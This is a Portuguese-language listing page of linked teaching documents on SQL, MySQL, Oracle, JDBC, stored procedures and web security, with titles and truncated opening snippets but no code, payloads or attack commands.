Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu Prof. Hederson Velasco Ramos Uma boa maneira de analisar ameaças no nível dos aplicativo é organiza las por categoria de

Leia mais

ADO.NET - Roteiro básico e Boas Práticas

ADO.NET - Roteiro básico e Boas Práticas ADO.NET - Roteiro básico e Boas Práticas Confuso com tantos conceitos novos, com tantas siglas e acrósticos? Qual provedor usar? Devo usar DataSet ou DataReader? Se essas e outras dúvidas te atormentam,

Leia mais

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA Sumário Construção de sistema Administrativo... 1 Sistema de Login... 2 SQL INJECTION... 2 Técnicas para Evitar Ataques... 2 Formulário de Login e Senha fará parte do DEFAULT... 5 LOGAR... 5 boas... 6

Leia mais

Manual de SQL. Tutorial Utilizar SQL em 4D Comandos SQL Regras de sintaxe Transações Funções Anexos Lista alfabética dos comandos

Manual de SQL. Tutorial Utilizar SQL em 4D Comandos SQL Regras de sintaxe Transações Funções Anexos Lista alfabética dos comandos Manual de SQL Tutorial Utilizar SQL em 4D Comandos SQL Regras de sintaxe Transações Funções Anexos Lista alfabética dos comandos Tutorial Introdução Receber o resultado de um pedido SQL em uma variável

Leia mais

Manual de SQL. Tutorial Utilizar SQL em 4D Comandos SQL Regras de sintaxe Transações Funções Anexos Lista alfabética dos comandos

Manual de SQL. Tutorial Utilizar SQL em 4D Comandos SQL Regras de sintaxe Transações Funções Anexos Lista alfabética dos comandos Manual de SQL Tutorial Utilizar SQL em 4D Comandos SQL Regras de sintaxe Transações Funções Anexos Lista alfabética dos comandos Tutorial Introdução Receber o resultado de um pedido SQL em uma variável

Leia mais

Banco de Dados. Prof. Leonardo Barreto Campos 1

Banco de Dados. Prof. Leonardo Barreto Campos 1 Banco de Dados Prof. Leonardo Barreto Campos 1 Sumário Introdução; Banco de Dados Relacionais; SQL; MySQL; Manipulando Banco de Dados com o JDBC; Bibliografia; Prof. Leonardo Barreto Campos 2/25 Introdução

Leia mais

JDBC Acessando Banco de Dados

JDBC Acessando Banco de Dados Acessando Banco de Dados Objetivos Entender o que são Drivers. Diferenciar ODBC, JDBC e DRIVERMANAGER. Desenvolver uma aplicação Java para conexão com Banco de Dados. Criar um objeto a partir da classe

Leia mais

Revisando sintaxes SQL e criando programa de pesquisa. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011

Revisando sintaxes SQL e criando programa de pesquisa. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011 Revisando sintaxes SQL e criando programa de pesquisa. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011 Edição 5 SELECT * FROM Minha_memoria Revisando Sintaxes SQL e Criando programa de Pesquisa Ano:

Leia mais

DESENVOLVIMENTO DE SOFTWARE

DESENVOLVIMENTO DE SOFTWARE VARIAÁ VEL Antes de iniciarmos os comandos referentes a Banco de Dados, precisamos de uma breve descrição técnica sobre Variáveis que serão uma constante em programação seja qual for sua forma de leitura.

Leia mais

Campus Party 2016 São Paulo, SP 27 de janeiro de 2016

Campus Party 2016 São Paulo, SP 27 de janeiro de 2016 Campus Party 2016 São Paulo, SP 27 de janeiro de 2016 WORKSHOP: Programação segura para WEB Dionathan Nakamura nakamura@cert.br Agenda 14:15 16:00 10-20 min: configuração inicial 30-45 min: parte teórica

Leia mais

Tolerância a Falhas em sistemas distribuídos (programação)

Tolerância a Falhas em sistemas distribuídos (programação) Tolerância a Falhas em sistemas distribuídos (programação) Arthur Zavattieri Cano Lopes Curso de Redes e Segurança de Sistemas Pontifícia Universidade Católica do Paraná Curitiba, Maio de 2009. Resumo

Leia mais

Segurança de Acesso a Banco de Dados no MS SQL Server

Segurança de Acesso a Banco de Dados no MS SQL Server Segurança de Acesso a Banco de Dados no MS SQL Server Para efetuar com sucesso os exemplos que serão mostrados a seguir é necessário que exista no SQL Server uma pessoa que se conecte como Administrador,

Leia mais

INTRODUÇÃO. No entanto, o que pode ser considerado um produto (resultado) da criação de BDs?

INTRODUÇÃO. No entanto, o que pode ser considerado um produto (resultado) da criação de BDs? BANCO DE DADOS Universidade do Estado de Santa Catarina Centro de Ciências Tecnológicas Departamento de Ciência da Computação Prof. Alexandre Veloso de Matos alexandre.matos@udesc.br INTRODUÇÃO Um Banco

Leia mais

FUNCTION ) RETURNS INTEGER AS $$ DECLARE

FUNCTION ) RETURNS INTEGER AS $$ DECLARE PERFORM O comando PERFORM permite a execução de um comando SELECT desprezando o resultado do comando. PERFORM query; A variável especial FOUND é definida como verdadeiro se a instrução produzir pelo menos

Leia mais

Descrição Tinyint[(M)] Inteiro pequeno. Varia de 128 até +127

Descrição Tinyint[(M)] Inteiro pequeno. Varia de 128 até +127 Disciplina: Tópicos Especiais em TI PHP Este material foi produzido com base nos livros e documentos citados abaixo, que possuem direitos autorais sobre o conteúdo. Favor adquiri-los para dar continuidade

Leia mais

Linguagem de Consulta Estruturada SQL- DML

Linguagem de Consulta Estruturada SQL- DML Linguagem de Consulta Estruturada SQL- DML INTRODUÇÃO A SQL - Structured Query Language, foi desenvolvido pela IBM em meados dos anos 70 como uma linguagem de manipulação de dados (DML - Data Manipulation

Leia mais

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia.

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia. Explorando e tratando a falha de Cross-site-scripting (XSS) 1 D E D E Z E M B R O D E 2 0 1 5 Muito pouco falada e com alto nível crítico dentro das vulnerabilidades relatadas, o Cross-site-scripting (XSS)

Leia mais

SQL Structured Query Language

SQL Structured Query Language Janai Maciel SQL Structured Query Language (Banco de Dados) Conceitos de Linguagens de Programação 2013.2 Structured Query Language ( Linguagem de Consulta Estruturada ) Conceito: É a linguagem de pesquisa

Leia mais

SQL Procedural. Josino Rodrigues Neto josinon@gmail.com

SQL Procedural. Josino Rodrigues Neto josinon@gmail.com SQL Procedural Josino Rodrigues Neto josinon@gmail.com SQL Procedural Agregada em SQL-92 As ferramentas têm nomes para suas linguagens SQL procedurais/embutidas Oracle : PL/SQL Postgres PL/Pgsql SQL Server

Leia mais

Programação com Acesso a Banco de Dados

Programação com Acesso a Banco de Dados Campus Ipanguaçu Curso: Técnico em Informática Programação com Acesso a Banco de Dados AULA 17 ACESSO A BANCO DE DADOS COM JDBC PROF.: CLAYTON M. COSTA 2 011.2 Introdução Aplicação + Banco de Dados: Funcionalidade

Leia mais

Banco de Dados. Prof. Antonio

Banco de Dados. Prof. Antonio Banco de Dados Prof. Antonio SQL - Structured Query Language O que é SQL? A linguagem SQL (Structure query Language - Linguagem de Consulta Estruturada) é a linguagem padrão ANSI (American National Standards

Leia mais

Principais Instruções em SQL. Contidas nesta apostila as principais instruções em SQL para a manutenção em Bancos de Dados.

Principais Instruções em SQL. Contidas nesta apostila as principais instruções em SQL para a manutenção em Bancos de Dados. Principais Instruções em SQL Contidas nesta apostila as principais instruções em SQL para a manutenção em Bancos de Dados. Atenção: Esta apostila foi desenvolvida com o auxílio on-line do banco MS-ACCESS,

Leia mais

Triggers e mais... Instituto Militar de Engenharia IME 1o. Semestre/2005 Triggers Propósito mais amplo que restrições Restrições onde se explicita o evento Regras event-condition-action (ECA) Eventos:

Leia mais

ORACLE 11 G INTRODUÇÃO AO ORACLE, SQL,PL/SQL. Carga horária: 32 Horas

ORACLE 11 G INTRODUÇÃO AO ORACLE, SQL,PL/SQL. Carga horária: 32 Horas ORACLE 11 G INTRODUÇÃO AO ORACLE, SQL,PL/SQL Carga horária: 32 Horas Pré-requisito: Para que os alunos possam aproveitar este treinamento ao máximo, é importante que eles tenham participado dos treinamentos

Leia mais

MIOLO 2.0 DAO. Ely Edison Matos ely.matos@ufjf.edu.br

MIOLO 2.0 DAO. Ely Edison Matos ely.matos@ufjf.edu.br MIOLO 2.0 DAO Ely Edison Matos ely.matos@ufjf.edu.br versão do documento: 1.3 16/05/2005 Índice DAO - Camada de abstração de acesso a dados...3 Configuração...3 Classes DAO...3 classe Database...5 classe

Leia mais

Introdução à Engenharia da Computação. Banco de Dados Professor Machado

Introdução à Engenharia da Computação. Banco de Dados Professor Machado Introdução à Engenharia da Computação Banco de Dados Professor Machado 1 Sistemas isolados Produção Vendas Compras Banco de Dados Produtos... Banco de Dados Produtos... Banco de Dados Produtos... Desvantagens:

Leia mais

13 Conectando PHP com MySQL 13.1 Introdução

13 Conectando PHP com MySQL 13.1 Introdução 13 Conectando PHP com MySQL 13.1 Introdução Agora que você já tem uma idéia básica de comandos MySQL, poderemos ver como a linguagem PHP pode interagir com este banco de dados através de inúmeras funções.

Leia mais

Boas Práticas de Desenvolvimento Seguro

Boas Práticas de Desenvolvimento Seguro Boas Práticas de Desenvolvimento Seguro Julho / 2.012 Histórico de Revisões Data Versão Descrição Autor 29/07/2012 1.0 Versão inicial Ricardo Kiyoshi Página 2 de 11 Conteúdo 1. SEGURANÇA DA INFORMAÇÃO

Leia mais

Trabalhando com MySQL: Uma Introdução

Trabalhando com MySQL: Uma Introdução Trabalhando com MySQL: Uma Introdução 1. A linguagem PHP A linguagem PHP é uma linguagem de programação criada especialmente para o uso em páginas Web. Mas nem por isso ela não pode deixar de ser usada

Leia mais

APOSTILA BANCO DE DADOS INTRODUÇÃO A LINGUAGEM SQL

APOSTILA BANCO DE DADOS INTRODUÇÃO A LINGUAGEM SQL 1. O que é Linguagem SQL 2. Instrução CREATE 3. CONSTRAINT 4. ALTER TABLE 5. RENAME TABLE 6. TRUCANTE TABLE 7. DROP TABLE 8. DROP DATABASE 1 1. O que é Linguagem SQL 2. O SQL (Structured Query Language)

Leia mais

Gestão de Segurança da Informação. Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem )

Gestão de Segurança da Informação. Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem ) Segurança de Aplicações e Banco de Dados Gestão de Segurança da Informação pós-graduação Lato Sensu Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem ) Patrick Tracanelli Francisco Temponi

Leia mais

Execução de Instruções SQL

Execução de Instruções SQL Bancos de Dados III Acesso a SGBDs via Aplicação Rogério Costa rogcosta@inf.puc-rio.br 1 Execução de Instruções SQL Instruções SQL dentro de um programa aplicativo, em conjunto com seu código. SQL Embutido

Leia mais

Criação de uma base de dados em MS SQL Server e acesso com VB 6. Professor Sérgio Furgeri

Criação de uma base de dados em MS SQL Server e acesso com VB 6. Professor Sérgio Furgeri OBJETIVOS DA AULA: Criação de uma base de dados em MS SQL Server e acesso com VB 6. Fazer uma breve introdução a respeito do MS SQL Server 7.0; Criar uma pequena base de dados no MS SQL Server 7.0; Elaborar

Leia mais

Acesso a Bancos de Dados em Java (JDBC)

Acesso a Bancos de Dados em Java (JDBC) Acesso a Bancos de Dados em Java (JDBC) Jomi Fred Hübner Universidade Regional de Blumenau Departamento de Sistemas e Computação Roteiro Introdução Objetivo da JDBC Vantagens Visão geral do acesso a SGBDs

Leia mais

Java & Bancos de Dados Adaptado de Slides da Universidade Salgado de Oliveira Goiânia

Java & Bancos de Dados Adaptado de Slides da Universidade Salgado de Oliveira Goiânia Java & Bancos de Dados Adaptado de Slides da Universidade Salgado de Oliveira Goiânia Sistemas de Informação Ling.Prog.V Prof. Roberto Couto Lima Fonte: Curso Java Prof. Fabricio Leonard Leopoldino (Universo)

Leia mais

CIÊNCIA E TECNOLOGIA DO RIO

CIÊNCIA E TECNOLOGIA DO RIO INSTITUTO FEDERAL DE EDUCAÇÃO, CIÊNCIA E TECNOLOGIA DO RIO GRANDE DO NORTE BANCO DE DADOS II Docente: Éberton da Silva Marinho e-mail: ebertonsm@gmail.com eberton.marinho@ifrn.edu.br Curso de Tecnologia

Leia mais

Acesso a Bancos de Dados (JDBC) Autor: Cleyton Maciel (clayton.maciel@ifrn.edu.br) Adaptação: Pedro Baesse (pedro.baesse@ifrn.edu.

Acesso a Bancos de Dados (JDBC) Autor: Cleyton Maciel (clayton.maciel@ifrn.edu.br) Adaptação: Pedro Baesse (pedro.baesse@ifrn.edu. Acesso a Bancos de Dados (JDBC) Autor: Cleyton Maciel (clayton.maciel@ifrn.edu.br) Adaptação: Pedro Baesse (pedro.baesse@ifrn.edu.br) JDBC Conceito Tipos Transações Tipos SQL e JAVA Conexão JDBC Implementação

Leia mais

Introdução à Banco de Dados. Nathalia Sautchuk Patrício

Introdução à Banco de Dados. Nathalia Sautchuk Patrício Introdução à Banco de Dados Nathalia Sautchuk Patrício Histórico Início da computação: dados guardados em arquivos de texto Problemas nesse modelo: redundância não-controlada de dados aplicações devem

Leia mais

FileMaker 13. Guia de ODBC e JDBC

FileMaker 13. Guia de ODBC e JDBC FileMaker 13 Guia de ODBC e JDBC 2004 2013 FileMaker Inc. Todos os direitos reservados. FileMaker Inc. 5201 Patrick Henry Drive Santa Clara, Califórnia 95054 FileMaker e Bento são marcas comerciais da

Leia mais

Integrando Java com Banco de Dados

Integrando Java com Banco de Dados Especialização em Engenharia de Software Programação Orientada a Objetos JDBC Java Database Connectivity Sérgio Soares scbs@cin.ufpe.br Objetivos Apresentar os conceitos básicos da especificação de Java

Leia mais

Oracle 10g: SQL e PL/SQL

Oracle 10g: SQL e PL/SQL Oracle 10g: SQL e PL/SQL PL/SQL: Visão Geral Enzo Seraphim Visão Geral Vantagens de PL/SQL Suporte total à linguagem SQL Total integração com o Oracle Performance Redução da comunicação entre a aplicação

Leia mais

APOSTILA BÁSICA DE MYSQL

APOSTILA BÁSICA DE MYSQL APOSTILA BÁSICA DE MYSQL História O MySQL foi criado na Suécia por dois suecos e um finlandês: David Axmark, Allan Larsson e Michael "Monty" Widenius, que têm trabalhado juntos desde a década de 1980.

Leia mais

Programação Orientada a Objetos JDBC Java Database Connectivity

Programação Orientada a Objetos JDBC Java Database Connectivity Especialização em Engenharia de Software Programação Orientada a Objetos JDBC Java Database Connectivity Sérgio Soares scbs@cin.ufpe.br Objetivos Apresentar os conceitos básicos da especificação de Java

Leia mais

PROGRAMAÇÃO EM BANCO DADOS Stored Procedure e Trigger

PROGRAMAÇÃO EM BANCO DADOS Stored Procedure e Trigger PROGRAMAÇÃO EM BANCO DADOS Stored Procedure e Trigger A tecnologia de banco de dados permite persistir dados de forma a compartilha-los com varias aplicações. Aplicação 1 aplicação 2 aplicação 3 SGDB Banco

Leia mais

António Rocha Nuno Melo e Castro

António Rocha Nuno Melo e Castro António Rocha Nuno Melo e Castro ! Transact-SQL (T-SQL) Extensão ao SQL Permite controlo do fluxo de execução Permite comandos DDL (contrariamente ao PLSQL) T-SQL combina: poder de manipulação de dados

Leia mais

Principais Comandos SQL Usados no MySql

Principais Comandos SQL Usados no MySql Principais Comandos SQL Usados no MySql O que é um SGBD? Um Sistema Gerenciador de Banco de Dados (como no Brasil) ou Sistema Gestor de Base de Dados (SGBD) é o conjunto de programas de computador (softwares)

Leia mais

Segurança em Web Aula 2

Segurança em Web Aula 2 Open Web Application Security Project Segurança em Web Aula 2 Maycon Maia Vitali ( 0ut0fBound ) maycon@hacknroll.com Hack n Roll Centro Universitário Vila Velha Agenda Revisão da Última Aula SQL Injection

Leia mais

Guia de conceitos básicos API Version 2010-01-01

Guia de conceitos básicos API Version 2010-01-01 : Guia de conceitos básicos Copyright 2011 Amazon Web Services LLC ou suas afiliadas. Todos os direitos reservados. Conceitos básicos do Amazon RDS... 1 Cadastre-se no Amazon RDS... 2 Inicie uma instância

Leia mais

Curso de Java. Acesso a banco de dados através de JDBC. Todos os direitos reservados Klais

Curso de Java. Acesso a banco de dados através de JDBC. Todos os direitos reservados Klais Curso de Java Acesso a banco de dados através de JDBC Todos os direitos reservados Klais Java e SGBD s SQL é a linguagem padrão para acesso a banco de dados e se estabeleceu como tal no mercado. SQL no

Leia mais

FileMaker 14. Guia de ODBC e JDBC

FileMaker 14. Guia de ODBC e JDBC FileMaker 14 Guia de ODBC e JDBC 2004 2015 FileMaker Inc. Todos os direitos reservados. FileMaker Inc. 5201 Patrick Henry Drive Santa Clara, Califórnia 95054 FileMaker e FileMaker Go são marcas comerciais

Leia mais

Comandos de Manipulação

Comandos de Manipulação SQL - Avançado Inserção de dados; Atualização de dados; Remoção de dados; Projeção; Seleção; Junções; Operadores: aritméticos, de comparação,de agregação e lógicos; Outros comandos relacionados. SQL SQL

Leia mais

Os dados no MySQL são armazenado em tabelas. Uma tabela é uma colecção de informação relacionada e consiste em colunas e linhas.

Os dados no MySQL são armazenado em tabelas. Uma tabela é uma colecção de informação relacionada e consiste em colunas e linhas. MySQL 101 Recapitulando Os dados no MySQL são armazenado em tabelas. Uma tabela é uma colecção de informação relacionada e consiste em colunas e linhas. As bases de dados são úteis quando necessitamos

Leia mais

Interagindo com Banco de Dados

Interagindo com Banco de Dados Interagindo com Banco de Dados Até agora não falamos de banco de dados, pois gostaríamos prime iro de te preparar para o uso do banco de dados dentro do Framework MVC. Mas antes de falarmos do framework

Leia mais

LINGUAGEM SQL. DML - Linguagem de Manipulação de Dados

LINGUAGEM SQL. DML - Linguagem de Manipulação de Dados LINGUAGEM SQL Structured Query Language, ou Linguagem de Consulta Estruturada ou SQL, é uma linguagem de pesquisa declarativa para banco de dados relacional (base de dados relacional). Muitas das características

Leia mais

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1 Segurança na Web Capítulo 9: Segurança em Aplicações Web Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW Page 1 Introdução Quando se fala em segurança na WEB é preciso pensar inicialmente em duas frentes:

Leia mais

Java e Conexão com Banco de Dados

Java e Conexão com Banco de Dados A Plataforma Java Programação Orientada a Objetos em Java Java e Conexão com Banco de Dados Prof. Giuliano Prado de Morais Giglio, M.Sc. Conexão com Banco de Dados JDBC: Java Database Connectivity Acesso

Leia mais

SQL Server Triggers Aprenda a utilizar triggers em views e auditar as colunas atualizadas em uma tabela

SQL Server Triggers Aprenda a utilizar triggers em views e auditar as colunas atualizadas em uma tabela SQL Server Triggers Aprenda a utilizar triggers em views e auditar as colunas atualizadas em uma tabela Certamente você já ouviu falar muito sobre triggers. Mas o quê são triggers? Quando e como utilizá-las?

Leia mais

BANCO DE DADOS II Prof. Ricardo Rodrigues Barcelar http://www.ricardobarcelar.com

BANCO DE DADOS II Prof. Ricardo Rodrigues Barcelar http://www.ricardobarcelar.com - Aula 10 - PROCEDIMENTOS ARMAZENADOS - STORED PROCEDURES 1. INTRODUÇÃO Em muitas situações será necessário armazenar procedimentos escritos com a finalidade de se utilizar recursos como loop, estruturas

Leia mais

Java Básico JDBC. Razer Anthom Nizer Rojas Montaño (razer@razer.org) 2008. Banco de Dados: JDBC

Java Básico JDBC. Razer Anthom Nizer Rojas Montaño (razer@razer.org) 2008. Banco de Dados: JDBC Java Básico JDBC Razer Anthom Nizer Rojas Montaño (razer@razer.org) 2008 Banco de Dados: JDBC API de acesso a banco de dados Pacote java.sql.* Precisa-se de um driver de acesso. Ex para oracle: oracle.jdbc.driver.oracledriver

Leia mais

SQL TGD/JMB 1. Projecto de Bases de Dados. Linguagem SQL

SQL TGD/JMB 1. Projecto de Bases de Dados. Linguagem SQL SQL TGD/JMB 1 Projecto de Bases de Dados Linguagem SQL SQL TGD/JMB 2 O que é o SQL? SQL ("ess-que-el") significa Structured Query Language. É uma linguagem standard (universal) para comunicação com sistemas

Leia mais

SQL BANCO DE DADOS. Linguagem de consulta SQL. Linguagem de consulta SQL. Linguagem de Consulta Estruturada

SQL BANCO DE DADOS. Linguagem de consulta SQL. Linguagem de consulta SQL. Linguagem de Consulta Estruturada Revisão de tpicos anteriores BANCO DE DADOS Linguagem de consulta SQL Roberto Duarte Fontes Brasília - DF roberto@fontes.pro.br Projeto de banco de dados Modelagem Conceitual (independe da implementação)

Leia mais

Programação em Banco de Dados. Dailton Trevisan prof@tontrevisan.com.br

Programação em Banco de Dados. Dailton Trevisan prof@tontrevisan.com.br Programação em Banco de Dados Dailton Trevisan prof@tontrevisan.com.br Nossos objetivos... SQL DISTINCT TOP LIKE WILDCARD IN BETWEEN INSERT UPDATE DELETE PLANO DE ENSINO E APRENDIZAGEM Plano de Ensino

Leia mais

Integrantes: Catarino Rodrigues Data: 26/10/2012. Leandro de Matos Pereira. Leandro dos Santos Marciano. Ramon Alves de Souza

Integrantes: Catarino Rodrigues Data: 26/10/2012. Leandro de Matos Pereira. Leandro dos Santos Marciano. Ramon Alves de Souza Integrantes: Catarino Rodrigues Data: 26/10/2012 Leandro de Matos Pereira Leandro dos Santos Marciano Ramon Alves de Souza Disciplina: Banco de Dados para Internet Tema do Trabalho: Tecnologias para acesso

Leia mais

Desenvolvendo Aplicações Web com NetBeans

Desenvolvendo Aplicações Web com NetBeans Desenvolvendo Aplicações Web com NetBeans Aula 3 Cap. 4 Trabalhando com Banco de Dados Prof.: Marcelo Ferreira Ortega Introdução O trabalho com banco de dados utilizando o NetBeans se desenvolveu ao longo

Leia mais

No Fedora, instalamos os pacotes "mysql" e "mysql-server", usando o yum:

No Fedora, instalamos os pacotes mysql e mysql-server, usando o yum: Instalando o MySQL O MySQL é um banco de dados extremamente versátil, usado para os mais diversos fins. Você pode acessar o banco de dados a partir de um script em PHP, através de um aplicativo desenvolvido

Leia mais

Bases de Dados. Lab 1: Introdução ao ambiente. Figura 1. Base de dados de exemplo

Bases de Dados. Lab 1: Introdução ao ambiente. Figura 1. Base de dados de exemplo Departamento de Engenharia Informática 2014/2015 Bases de Dados Lab 1: Introdução ao ambiente 1º semestre O ficheiro bank.sql contém um conjunto de instruções SQL para criar a base de dados de exemplo

Leia mais

Desenvolvimento Web com Struts

Desenvolvimento Web com Struts TREINAMENTOS Desenvolvimento Web com Struts Desenvolvimento Web com Struts2 e JPA2 14 de junho de 2015 As apostilas atualizadas estão disponíveis em www.k19.com.br Sumário i Sobre a K19 1 Seguro Treinamento

Leia mais

Injeção de SQL - Detecção de evasão

Injeção de SQL - Detecção de evasão Injeção de SQL - Detecção de evasão Resumo A detecção dos ataques de injeção de SQL era feita inicialmente com o uso de técnicas de reconhecimento de padrões, verificados contra assinaturas e palavraschave

Leia mais

Treinamento sobre SQL

Treinamento sobre SQL Treinamento sobre SQL Como Usar o SQL Os dois programas que você mais utilizara no SQL Server são: Enterprise Manager e Query Analyzer. No Enterprise Manager, você pode visualizar e fazer alterações na

Leia mais

Introdução ao SQL Avançado

Introdução ao SQL Avançado Introdução ao SQL Avançado Introdução as consultas, manipulação e a filtragem de dados com a linguagem SQL Prof. MSc. Hugo Vieira L. Souza Este documento está sujeito a copyright. Todos os direitos estão

Leia mais

MySQL. Prof. César Melo. com a ajuda de vários

MySQL. Prof. César Melo. com a ajuda de vários MySQL Prof. César Melo com a ajuda de vários Banco de dados e Sistema de gerenciamento; Um banco de dados é uma coleção de dados. Em um banco de dados relacional, os dados são organizados em tabelas. matricula

Leia mais

Curso de Iniciação ao Access Basic (I) CONTEÚDOS

Curso de Iniciação ao Access Basic (I) CONTEÚDOS Curso de Iniciação ao Access Basic (I) CONTEÚDOS 1. A Linguagem Access Basic. 2. Módulos e Procedimentos. 3. Usar o Access: 3.1. Criar uma Base de Dados: 3.1.1. Criar uma nova Base de Dados. 3.1.2. Criar

Leia mais

Procedimentos armazenados

Procedimentos armazenados Procedimentos armazenados Prof. Márcio Bueno {bd2tarde,bd2noited}@marciobueno.com Material da Profª Maria Lígia B. Perkusich Procedimentos armazenados (i) Definição Um procedimento armazenado (stored procedure)

Leia mais

JDBC Java Database Connectivity

JDBC Java Database Connectivity 5 JDBC Java Database Connectivity Prof. Autor: Daniel Morais dos Reis e-tec Brasil Programação Avançada Para Web Página1 Meta Trabalhar com bancos de dados em aplicações web em JSP através das classes

Leia mais

Armazenamento organizado facilitando SCRUD; Agiliza processo de desenvolvimento de sistemas;

Armazenamento organizado facilitando SCRUD; Agiliza processo de desenvolvimento de sistemas; Conjunto de informações relacionadas entre si; Armazenamento organizado facilitando SCRUD; Agiliza processo de desenvolvimento de sistemas; Conjunto de Tabelas onde cada linha é um vetor de dados específico;

Leia mais

Sumário Agradecimentos... 19 Sobre.o.autor... 20 Prefácio... 21 Capítulo.1..Bem-vindo.ao.MySQL... 22

Sumário Agradecimentos... 19 Sobre.o.autor... 20 Prefácio... 21 Capítulo.1..Bem-vindo.ao.MySQL... 22 Sumário Agradecimentos... 19 Sobre o autor... 20 Prefácio... 21 Capítulo 1 Bem-vindo ao MySQL... 22 1.1 O que é o MySQL?...22 1.1.1 História do MySQL...23 1.1.2 Licença de uso...23 1.2 Utilizações recomendadas...24

Leia mais

Banco de Dados Oracle 10g: Introdução à Linguagem SQL

Banco de Dados Oracle 10g: Introdução à Linguagem SQL Oracle University Entre em contato: 0800 891 6502 Banco de Dados Oracle 10g: Introdução à Linguagem SQL Duração: 5 Dias Objetivos do Curso Esta classe se aplica aos usuários do Banco de Dados Oracle8i,

Leia mais

PL/pgSQL. Introdução. Introdução. Introdução

PL/pgSQL. Introdução. Introdução. Introdução Introdução PL/pgSQL Banco de Dados II Prof. Guilherme Tavares de Assis PL/pgSQL (Procedural Language for the PostgreSQL) é uma linguagem procedural carregável desenvolvida para o SGBD PostgreSQL, que possui

Leia mais

Python Acessando o Banco de Dados MySQL

Python Acessando o Banco de Dados MySQL Python Acessando o Banco de Dados MySQL ANTONIO SÉRGIO NOGUEIRA PRESIDENTE PRUDENTE SP 2009 1 Sumário 1. Introdução...3 2. Interface MySQL...3 3.Instalando o MySQLdb...3 4.Verificando se o MySQL está instalado...4

Leia mais

Acessando bancos de dados com o JDBC

Acessando bancos de dados com o JDBC Acessando bancos de dados com o JDBC Notas de Aula: Java Como Programar, 8/E Prof. Geraldo Braz Junior Introdução Um banco de dados é uma coleção organizada de dados. Um sistema de gerenciamento de bancos

Leia mais

Tarefa Orientada 20 Cursores

Tarefa Orientada 20 Cursores Tarefa Orientada 20 Cursores Objectivos: Declarar cursores Utilizar cursores Utilizar funções do sistema para trabalhar com cursores Actualizar dados através de cursores Um cursor é um objecto da base

Leia mais

Programação SQL. Introdução

Programação SQL. Introdução Introdução Principais estruturas duma Base de Dados: Uma BD relacional é constituída por diversas estruturas (ou objectos ) de informação. Podemos destacar: Database: designa a própria BD; Table/Tabela:

Leia mais

trigger insert, delete, update

trigger insert, delete, update 1 Um trigger é um conjunto de instruções SQL armazenadas no catalogo da BD Pertence a um grupo de stored programs do MySQL Executado quando um evento associado com uma tabela acontece: insert, delete,

Leia mais

Persistência de Classes em Tabelas de Banco de Dados

Persistência de Classes em Tabelas de Banco de Dados UTFPR DAELN - Disciplina de Fundamentos de Programação II ( IF62C ). 1 Persistência de Classes em Tabelas de Banco de Dados 1) Introdução! Em algumas situações, pode ser necessário preservar os objetos

Leia mais

PROCEDIMENTOS ARMAZENADOS (Stored Procedures)

PROCEDIMENTOS ARMAZENADOS (Stored Procedures) PROCEDIMENTOS ARMAZENADOS (Stored Procedures) 1. Introdução Stored Procedure é um conjunto de comandos, ao qual é atribuído um nome. Este conjunto fica armazenado no Banco de Dados e pode ser chamado a

Leia mais

Android e Bancos de Dados

Android e Bancos de Dados (Usando o SQLite) Programação de Dispositivos Móveis Mauro Lopes Carvalho Silva Professor EBTT DAI Departamento de Informática Campus Monte Castelo Instituto Federal de Educação Ciência e Tecnologia do

Leia mais